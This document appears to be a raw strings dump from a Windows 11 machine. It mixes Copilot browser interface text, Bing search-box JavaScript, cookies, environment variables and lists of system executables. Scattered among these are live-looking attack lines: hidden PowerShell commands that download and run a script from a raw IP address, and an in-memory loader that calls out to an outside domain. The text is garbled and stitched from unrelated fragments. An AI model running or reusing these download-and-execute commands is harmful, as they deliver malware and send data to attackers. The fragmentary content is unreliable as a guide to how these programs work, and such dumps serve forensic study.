re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or collea
ndows\System32\wevtutil.exe
825:1,45687739:1,41150162:1,46110145:1,48637055:1,48909483:0,56039577:0,45995231:1,46030046:1,48800088:1,43283005:1,48362945:1,56384656:0,50027266:1,53927647:1,50065374:1,49805431:1,53029811:0,49804107:1,46536486:0,50659858:1,45075103:1,49145296:1,59968371:0,40887771:1,43349158:1,56321400:1,43572857:1,52538889:1,56263234:0,45721604:1,56021392:1,58029256:0,55182095:1,43998261:1,56246287:1,40979072:1,44571814:1,48449532:1,46111200:0,44533041:1,47251916:0,52754209:0,57915467:0,55759873:1,51742149:0,56524881:1,55758958:0,53509714:0,56154553:0,59012251:0,54865932:1,51742224:0,56097011:1,56242425:1,56242355:1,56750487:1,56919513:1,56347821:1,57696100:1,58288238:0,x-bm-windowsflightsFX:1387B252,FX:1390908A,FX:139625D1,FX:13A03C5B,FX:1361B13C,FX:1352C485,FX:138E93ED,FX:137506BB,FX:135E3503,FX:1361B178,FX:130DD09D,FX:138F1B88,FX:1304E3F4,FX:1312D799,FX:139B604C,FX:13802EFB,FX:137ABC77,FX:136CA592,FX:137F4285,FX:1368E1B0,FX:13770BB8,FX:03906DEF,FX:138580B2,FX:1393480A,FX:1377D688,FX:139B65B3,FX:13936BEB,FX:139A40D0,FX:139A4E0D,FX:138AFBD8,FX:1388E986,FX:137297A9,FX:1388E988,FX:1388E987,FX:137599CB,FX:0390BB93,FX:1388E985,FX:1388E989,FX:137BDA0A,FX:138A2837,FX:1386304D,FX:137DAA81,FX:139EB4E1,FX:1388E98A,FX:1388E990,FX:1388E992,FX:1389169E,FX:13A28A66,FX:13922784,FX:1383F373,FX:1392C19F,FX:1399AD0E,FX:1399AD0A,FX:13999239,FX:13966E9C,FX:1397466B,FX:13A33F92,FX:03A2815Csec-ms-gec5D737B6630217117736FED9B3D4F51938C95AA51FE2652F98F54849B5761EF04sec-ms-gec-version1-145.0.3800.70sec-fetch-sitesame-originsec-fetch-modenavigatesec-fetch-destemptyaccept-encodinggzip, deflate, br, zsdch, zstdcookieMUID=025C0A4601E2624E03FE1D4100CE637E; MUIDB=025C0A4601E2624E03FE1D4100CE637E; _EDGE_V=1; SRCHUID=V=2&GUID=FCE6FCF8FA244071A82C121E2394C1A6&dmnchg=1; CortanaAppUID=C59FF06F08FBBD443483F1C4780792EB; SRCHD=AF=NOFORM; SRCHHPGUSR=SRCHLANG=en; SRCHUSR=DOB=20260221&DS=1priorityu=0, i
"Windows"
X-BM-WindowsFlights
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
windows.hostRuntime
d0^windows.hostRuntime
d4^windows.deploymentExtensionHandler
windows.classicAppCompatKeys
d9^windows.classicAppCompatKeys
 a tentar mostrar os detalles da tarxeta de pagamento. Introduza o seu contrasinal de Windows para permitir isto.Microsoft Copilot est
 a tentar mostrar os contrasinais. Introduza o seu contrasinal de Windows para permitir isto.Microsoft Copilot est
 a tentar copiar contrasinais. Escribe o teu contrasinal de Windows para permitir isto.Microsoft Copilot est
 a tentar editar os contrasinais. Escribe o teu contrasinal de Windows para permitir isto.Microsoft Copilot quere exportar os teus contrasinais. Introduza o seu contrasinal de Windows para permitir isto.Microsoft Copilot est
 a tentar importar contrasinais. Introduza o seu contrasinal de Windows para permitir isto.Microsoft Copilot quere eliminar os teus datos do Xestor de contrasinais. Escribe o teu contrasinal de Windows para permitir isto.Microsoft Copilot est
r os contrasinais existentes. Escribe o teu contrasinal de Windows para permitir isto.Este ordenador xa ten unha versi
n fallou debido a un erro non especificado. Descarga de novo Microsoft Copilot.Microsoft Copilot require Windows 10 ou unha versi
Z,powershell.exe-windowstylehidden-nop-c\"invoke-expression(new-objectnet.webclient).downloadstring('http://62.173.141.99/client.ps1')
;set""fugues=c:\windows\temp\
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
windir=C:\WINDOWS
RoleWindowsTokenProvider_description
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.ContentDeliveryManager
Microsoft.Windows.MobilityExperience
Microsoft.Windows.ShellPlacements
Microsoft.Windows.FeatureConfiguration
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
windir=C:\WINDOWS
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
vL/v ShowSuperHidden /t REG_DWORD /d 2 /fpowershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/s,/c:
9wU2hhZG93XzFfNTUwIi8+CjxmZUNvbG9yTWF0cml4IGluPSJTb3VyY2VBbHBoYSIgdHlwZT0ibWF0cml4IiB2YWx1ZXM9IjAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDEyNyAwIiByZXN1bHQ9ImhhcmRBbHBoYSIvPgo8ZmVPZmZzZXQgZHk9Ii0wLjgzMzMzMyIvPgo8ZmVHYXVzc2lhbkJsdXIgc3RkRGV2aWF0aW9uPSIwLjYyNSIvPgo8ZmVDb2xvck1hdHJpeCB0eXBlPSJtYXRyaXgiIHZhbHVlcz0iMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMC4yIDAiLz4KPGZlQmxlbmQgbW9kZT0ibm9ybWFsIiBpbjI9ImVmZmVjdDFfZHJvcFNoYWRvd18xXzU1MCIgcmVzdWx0PSJlZmZlY3QyX2Ryb3BTaGFkb3dfMV81NTAiLz4KPGZlQmxlbmQgbW9kZT0ibm9ybWFsIiBpbj0iU291cmNlR3JhcGhpYyIgaW4yPSJlZmZlY3QyX2Ryb3BTaGFkb3dfMV81NTAiIHJlc3VsdD0ic2hhcGUiLz4KPC9maWx0ZXI+CjxsaW5lYXJHcmFkaWVudCBpZD0icGFpbnQwX2xpbmVhcl8xXzU1MCIgeDE9IjQuMzE4MTgiIHkxPSItMC41MTEzNjQiIHgyPSI4LjUxNTc1IiB5Mj0iMTguMjU0MyIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiPgo8c3RvcCBvZmZzZXQ9IjAuMjcwODMzIiBzdG9wLWNvbG9yPSJ3aGl0ZSIvPgo8c3RvcCBvZmZzZXQ9IjEiIHN0b3AtY29sb3I9IiNERkRGREYiLz4KPC9saW5lYXJHcmFkaWVudD4KPGxpbmVhckdyYWRpZW50IGlkPSJwYWludDFfbGluZWFyXzFfNTUwIiB4MT0iOS41IiB5MT0iMC41IiB4Mj0iOS42NjQ5NCIgeTI9IjMuMTkzOTgiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIj4KPHN0b3Agc3RvcC1jb2xvcj0iIzMwREFGRiIvPgo8c3RvcCBvZmZzZXQ9IjEiIHN0b3AtY29sb3I9IiMwMDk0RDQiLz4KPC9saW5lYXJHcmFkaWVudD4KPGxpbmVhckdyYWRpZW50IGlkPSJwYWludDJfbGluZWFyXzFfNTUwIiB4MT0iOS4wMDAyMSIgeTE9IjIuNjE2NTJlLTA4IiB4Mj0iOS4wMDAyMSIgeTI9IjEiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIj4KPHN0b3Agc3RvcC1jb2xvcj0iIzIyQkNGRiIvPgo8c3RvcCBvZmZzZXQ9IjEiIHN0b3AtY29sb3I9IiMwMDg4RjAiLz4KPC9saW5lYXJHcmFkaWVudD4KPGxpbmVhckdyYWRpZW50IGlkPSJwYWludDNfbGluZWFyXzFfNTUwIiB4MT0iOS4wMDAyMSIgeTE9IjIuNjE2NTJlLTA4IiB4Mj0iOS4wMDAyMSIgeTI9IjEiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIj4KPHN0b3Agc3RvcC1jb2xvcj0iIzI4QUZFQSIvPgo8c3RvcCBvZmZzZXQ9IjEiIHN0b3AtY29sb3I9IiMzQ0NCRjQiLz4KPC9saW5lYXJHcmFkaWVudD4KPGNsaXBQYXRoIGlkPSJjbGlwMF8xXzU1MCI+CjxyZWN0IHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgZmlsbD0id2hpdGUiLz4KPC9jbGlwUGF0aD4KPGNsaXBQYXRoIGlkPSJjbGlwMV8xXzU1MCI+CjxyZWN0IHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgZmlsbD0id2hpdGUiLz4KPC9jbGlwUGF0aD4KPC9kZWZzPgo8L3N2Zz4K",type:0};n.getEdgeBadgeIcon=di;n.getStoreBadgeIcon=bf;n.shouldShowBadgeIcon=dv;n.Max_WEB_RESULTS=8-n.config.reduceInZI;n.isLanguageEligible=vt;n.isRTLLan=gv;n.addQueryParamsToUrl=ny;let kf;(function(n){n.ClientInst="ClientInst";n.Impression="Impression";n.Engaged="Engaged"})(kf=n.LogEventType||(n.LogEventType={}));n.shouldBingLogToBing=gi;n.shouldWindowsLogToWindows=nr;n.shouldWindowsAndBingLogToBing=tr;const df=(t,r,u)=>{var s=n.Host.getRawImpressionGuid(),h=n.Host.getConversationId(),e,o;let c=n.getCurrentTime();const f={eventType:i(t)?kf.ClientInst:t,type:i(u)?n.DataComplianceTypeDefaultEmptyValue:u,subType:n.DataComplianceTypeDefaultEmptyValue};if(typeof r=="string")f.eventData=r;else for(e in r)e=="Name"?f.subType=i(r[e])?n.DataComplianceTypeDefaultEmptyValue:r[e]:f[e]=r[e];const l=[f.eventType,f.type,f.subType].join(n.DataComplianceEventNameSeparator);o=JSON.stringify(f);SearchAppWrapper.CortanaApp.wsbTelemetry.logEvent(l,n.DataComplianceSchemaVersion_1_0,s,h,c,o,2,16777216,2)};n.LogWSBError=tt;n.LogWSBWarning=ty;n.shouldLogFlightAssignmentsToWindows=iy;n.isDefaultSynthetic=ry;n.setWsbPartnerCodeToURL=uy;class fy{constructor(){this.listeners=[]}subscribe(n){this.listeners.push(n)}unsubscribe(n){this.listeners=this.listeners.filter(t=>t!==n)}emit(n){for(const t of this.listeners)t(n)}isSubscribed(){return this.listeners.length>0}}n.config.enableLocalASTrie&&(n.config===null||n.config===void 0?void 0:n.config.enableLASDelayInMS)>0&&(n.webASFetchDoneSignal=new fy);n.announceItem=ey;n.applyBadgeToSuggestion=oy;n.getWebSearchIcon=gf}(WSB||(WSB={})),function(n){const t=["PP","ST","FL","LM"];class i{constructor(){this._isMobile=SearchAppWrapper.CortanaApp.isMobile}logProfilerMarker(t,i,r,u,f){f||(f={});n.safeExecute(()=>{t==1?SearchAppWrapper.CortanaApp.logMeasure("Bing_QF_"+r,i,"QF",JSON.stringify(f),u):SearchAppWrapper.CortanaApp.logVerboseTrace("Bing_QF_"+r,i,"QF",JSON.stringify(f),u)},"logProfilerMarker")}getEnrichedClientInfoForDSB(){var i,r;let t={},u=(i=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.bar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
chOutlookNative";n[n.S_OpenInBrowser=1009]="S_OpenInBrowser";n[n.S_SummarizeWithCopilot=1010]="S_SummarizeWithCopilot";n[n.S_OpenCopilot=1011]="S_OpenCopilot";n[n.S_SendToCopilot=1012]="S_SendToCopilot";n[n.S_SettingsAndTroubleshootingHelp=1013]="S_SettingsAndTroubleshootingHelp";n[n.S_DescribeThisImage=1014]="S_DescribeThisImage"})(ue=n.JumplistActionItemType||(n.JumplistActionItemType={}));n.providerFailureLogName=fe;n.localDataSourceMayContainPII=ee;n.getSuggestionKey=rt;n.prefixNormalizedSuggTypes=new Set(["NS","NH","NM","NL","NP"]);const ur={"Microsoft.Windows.ControlPanel":"ControlPanel","Microsoft.AutoGenerated.{923DD477-5846-686B-A659-0FCCD73851A8}":"Classic_{E9C71548-B580-43B2-ACDB-1BA924002754}","{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\dfrgui.exe":"Classic_{7D13A5DB-6081-48BD-8EA3-A9D7FE67A335}","{6D809377-6AF0-444B-8957-A3773F02200E}\\Windows Defender\\MSASCui.exe":"NameSpace_Classic_{D8559EB9-20C0-410E-BEDA-7ED416AECC2A}","{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\cleanmgr.exe":"Classic_{AACA901F-E74F-4894-B074-F55059532853}","Microsoft.AutoGenerated.{BB044BFD-25B7-2FAA-22A8-6371A93E0456}":"Classic_{45FDB5DF-1457-4A41-A824-7AD9C75767BC}","Microsoft.Windows.PCSettings.DefaultApps":"AAA_SettingsPageAppsDefaults"},fr={"NameSpace_Classic_{F942C606-0914-47AB-BE56-1321B8035096}":"Classic_{232A1851-808C-4B44-A92A-38E862989CE5",AAA_Proxy_Automatic_Config_Group:"AAA_SettingsPageNetworkProxy",AAA_Settings_DeveloperModeGroup:"AAA_SettingsPageRestoreDeveloperOptions",AAA_SystemSettings_Users_PicturePassword:"AAA_SettingsGroupPicturePassword"};let t;(function(n){n[n.NotDuplicate=0]="NotDuplicate";n[n.NoMetadata=1]="NoMetadata";n[n.MergeMetadata=2]="MergeMetadata"})(t||(t={}));const oe=[["PPL","MPPL"],["MFIL"],["MBKS","MACR","MQNA","MGRP","MBLD"],["MVALL"]],se=[["PPL","MPPL"],["MFIL"],["MBKS"],["MACR"],["MQNA","MGRP","MBLD"],["MVALL"]];n.isDuplicate=ae;n.getYearMonth=ve;n.isDuplicateDocument=ye;n.MRUDatabaseName="mruWithIndex";n.MSBMRUDatabaseName="msbMruWithIndex";n.ANADatabaseName="anaWithIndex";n.DataProviderDBName={MRUDataProvider:n.MRUDatabaseName,AnaheimDataProvider:n.ANADatabaseName,MSBMRUDataProvider:n.config.enableFileHist?n.MRUDatabaseName:n.MSBMRUDatabaseName};n.isFileOrFolderLocalDataSource=pe;n.supportsShortcuts=we;n.setDocumentLocationProperties=be;n.isModernSetting=ke;n.getAppItem=ut;n.isGroup=de;n.isWin11DSB=ge;n.getItemWithFileMetadata=no;n.getCommandLineItem=wt;n.isMRUHistoryGroupType=to;n.isCloudScopeMruGroupType=io;n.getGroupType=h;n.isWebSuggestion=cr;n.isSearchHistorySuggestion=lr;n.isWebRelatedSuggestion=ro;n.isJumpListGroup=ar;n.isTopHitChildGroup=uo;n.isChildSuggestion=bt;n.isJumpListSuggestion=fo;n.getScope=eo;n.IconSize_GridLayout=92;n.IconSize_GridLayout_Medium=68;n.IconSize_GridLayout_Scaled=130;n.getImageSizeValue=vr;n.populateImageRatio=oo;n.getImageUrl=so;let ho={"zh-hans-cn":"zh-cn","zh-hans-sg":"zh-cn","zh-hant-hk":"zh-hk","zh-hant-tw":"zh-tw",ko:"ko-kr",ja:"ja-jp",nb:"nb-no"};n.getCurrentLanguage=kt;n.createSuggestion=dt;n.createWebSuggestion=co;n.addSubItemToSuggestion=lo;n.enableSPSE=ao;n.getSyntheticSuggestionWithGetIcon=vo;n.getSyntheticSuggestion=yo;n.getNarratorText=gt;n.isL2=yr;n.iconIsThumbnail=pr;n.displayedInGridLayout=bo;n.isImageGridEnabledForItem=ti;n.shouldShowBingImageSearch=ii;n.parseWebSuppressionSignals=ko;let ft;n.decodeHtml=go;let ri;(function(n){n[n.Author=1]="Author";n[n.LastModifiedBy=2]="LastModifiedBy";n[n.Content=3]="Content";n[n.Tags=4]="Tags";n[n.Album=5]="Album";n[n.Artist=6]="Artist";n[n.Genre=7]="Genre";n[n.Location=8]="Location";n[n.Relevance=9]="Relevance";n[n.LastSharedBy=10]="LastSharedBy"})(ri=n.MatchType||(n.MatchType={}));n.createMatch=ns;const ts=/[-[\]{}()*+!<=:?.\/\\^$|#,]/g;n.escapeRegex=c;n.tryGetLocationMatch=is;n.tryGetTextContentMatch=rs;n.matchesOnPropertyHH=us;n.uses3lineTemplate=fs;n.hasReverseHighlighting=es;n.isEquivalentForPreviewPanePurposes=os;n.isNullOrUndefined=i;class ss{constructor(t,i,r){this.verb=t.verb;this.displayName=t.displayName;this.executeSync=t.executeSync?()=>r(()=>t.executeSync()):()=>r(()=>{n.Async.safeChain("verb.execut
(n)}(Windows
powershell.exe-windowstylehidden-nologo-command-noexit(new-objectsystem.net.webclient).downloadfile('http
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
Windows.3
^windows.appExtens=
WindowsCortanaSettings
getWindowsActivationState
qWindows
setWindowsp
Path=C:\WINDOWS\system32;
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
windowStateChanged
Qt::WindowState
windowState
Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0)
`ges\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\parcel_tracking_db__tmp_for_rebuild
\Packages\MicrosoftWindows.Client.CBS_
mPackages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default: does not exist (create_if_missing is false)t
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.Audio.MultimediaDevice
Microsoft.Windows.Audio.CrossVmApi
@Security@Windows@@@Found
@Security@Internal@Windows@@@Found'
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
C:\WINDOWS\system32\svchost.exe
Software\Microsoft\Windows\CurrentVersion\Uninstall\retirant\AdresselistenS
Microsoft.Windows.Networking.RAS.RASServer.AgileVPN
Microsoft.Windows.Networking.RAS.RASServer
Microsoft.Windows.Networking.RAS.Routing.BGP
Microsoft.Windows.Networking.RAS.RASServer.Ddm
Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
windows.hlp`
5.12.212.110rundll32.exe shell32.dll,#61cmd.exe /c start profiles.iniSoftware\Microsoft\Windows\CurrentVersion\Explorer\AdvancedGetTopWindow--no-sandbox --allow-no-sandbox-job
d ar gyfer safleoedd, apiau ac estyniadau" ar gyfer Microsoft CopilotGall eich sefydliad weld a rheoli data pori, fel eich nodau tudalen, hanes a chyfrineiriau. Does dim modd iddo weld data pori mewn proffiliau Microsoft Copilot eraill.Cael diogelwch cryfaf Microsoft CopilotRydym wedi agor eich ffeil i'w gweld yn gyflym ac yn hawdd yn Microsoft Copilot. Dewiswch Lawrlwytho ffeil os ydych chi eisiau ei defnyddio yn nes ymlaen.Mae Microsoft Copilot yn ceisio llenwi cyfrineiriau. Teipiwch eich cyfrinair Windows i ganiat
implementation@TaskManagerApp@winrt@@UIControl3@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IUserControl@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$producer@UServicesPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$implements@UServicesPage@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IPage@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$producer@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UServicesPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UServicesPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UServicesPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UServicesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UServicesPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UServicesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UServicesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UServicesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
15c^com.microsoft.windows.extensions.xaml.voiceaccess
15d^com.microsoft.windows.extensionpackage
15e^com.microsoft.windows.extension.speechrecognizerextension
mdl32.exe;%system32%\nethost.exe;%system32%\netsh.exe;%system32%\rasdial.exe
%system32%\printui.exe
%system32%\register-cimprovider.exe
%system32%\proximityuxhost.exe
%system32%\bootim.exe;%system32%\calc.exe;%system32%\colorcpl.exe;%system32%\compmgmtlauncher.exe;%system32%\computerdefaults.exe;%system32%\customshellhost.exe;%system32%\dpiscaling.exe;%system32%\dsregcmd.exe;%system32%\dxpserver.exe;%system32%\fodhelper.exe;%system32%\fondue.exe;%system32%\fxssvc.exe;%system32%\fxsunatd.exe;%system32%\mobsync.exe;%system32%\mspaint.exe;%system32%\netplwiz.exe;%system32%\optionalfeatures.exe;%system32%\pinenrollmentbroker.exe;%system32%\printbrmui.exe;%system32%\printui.exe;%system32%\proximityuxhost.exe;%system32%\quickassist.exe;%system32%\rdpclip.exe;%system32%\resmon.exe;%system32%\sdclt.exe;%system32%\settingsynchost.exe;%system32%\slui.exe;%system32%\synchost.exe;%system32%\systemsettingsadminflows.exe;%system32%\wfs.exe;%system32%\wkspbroker.exe;%system32%\workfolders.exe;%system32%\wpnpinst.exe;%system32%\write.exe;%system32%\certreq.exe;%system32%\cleanmgr.exe;%system32%\control.exe;%system32%\ddodiag.exe;%system32%\dfrgui.exe;%system32%\explorer.exe;%system32%\fxscover.exe;%system32%\licensingdiag.exe;%system32%\msdt.exe;%system32%\notepad.exe;%system32%\powershell.exe;%system32%\presentationsettings.exe;%system32%\tabcal.exe;%system32%\verifier.exe;%programfiles%\google\chrome\application\chrome.exe;%programfiles%\microsoft\edge\application\msedge.exe;%programfiles%\mozilla firefox\firefox.exe;%appdata%\zoom\bin\zoom.exe;%programfiles%\windowsapps\microsoftteams%version%\msteams.exe;%programfiles%\microsoft office\root\office%version%\excel.exe;preconditions%programfiles%\microsoft office\root\office%version%\graph.exe;preconditions%programfiles%\microsoft office\root\office%version%\msoev.exe;preconditions%programfiles%\microsoft office\root\office%version%\msotd.exe;preconditions%programfiles%\microsoft office\root\office%version%\onenote.exe;preconditions%programfiles%\microsoft office\root\office%version%\outlook.exe;preconditions%programfiles%\microsoft office\root\office%version%\powerpnt.exe
%system32%\certreq.exe;%system32%\edpcleanup.exe;%system32%\immersivetpmvscmgrsvr.exe;%system32%\manage-bde.exe;%system32%\mousocoreworker.exe;%system32%\omadmclient.exe;%system32%\provtool.exe;%system32%\rmttpmvscmgrsvr.exe;%system32%\tpmvscmgrsvr.exe;%system32%\usocoreworker.exe;%system32%\wwahost.exe;%system32%\write.exe;%programfiles%\microsoft deployment toolkit\bin\microsoft.bdd.catalog35.exe
%system32%\fsquirt.exe;%system32%\msinfo32.exe;%system32%\printfilterpipelinesvc.exe;%system32%\sfc.exe
%system32%\displayswitch.exe;%system32%\easpolicymanagerbrokerhost.exe;%system32%\edpcleanup.exe;%system32%\eduprintprov.exe;%system32%\hvsievaluator.exe;%system32%\mdmdiagnosticstool.exe;%system32%\omadmclient.exe;%system32%\settingsynchost.exe;%system32%\workfolders.exe
%system32%\sethc.exe
%system32%\logman.exe
%system32%\sppsvc.exe
%system32%\plasrv.exe;%system32%\relog.exe;%system32%\taskmgr.exe;%system32%\tracerpt.exe;%system32%\typeperf.exe;%system32%\logman.exe
%system32%\pcaui.exe;%system32%\pcalua.exe
%system32%\certreq.exe;%system32%\msdt.exe;%system32%\notepad.exe;%system32%\powershell.exe;%system32%\stordiag.exe;%system32%\tabcal.exe;%system32%\verifier.exe;%system32%\workfolders.exe;%system32%\write.exe
https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
temRoot%\system32\mswsock.dll
WINDOWS\ServiceProfiles\Local
=C:\Windows\System32\
Path=C:\WINDOWS\system32;
Qcreatenowindow=true;process.startinfo.windowstyle=processwindowstyle.hidden;process.start();}}"@}[memoryexec]::run($filebytes)invoke-restmethod-uri"https://lapkimeow.icu/run"-methodpost-body
WINDOWS11
sts.windows.netx
sts.windows.net
Microsoft.Windows.StoreAgent.Telemetry
Microsoft-Windows-Diagnostics-Performance
Microsoft.Windows.AppModel.Tiles
Microsoft.Windows.SRUM.Telemetry
WINDOWS.DATA.DONOTDISTURB.QUIETMOMENT$QUIETMOMENTEMERGENCY
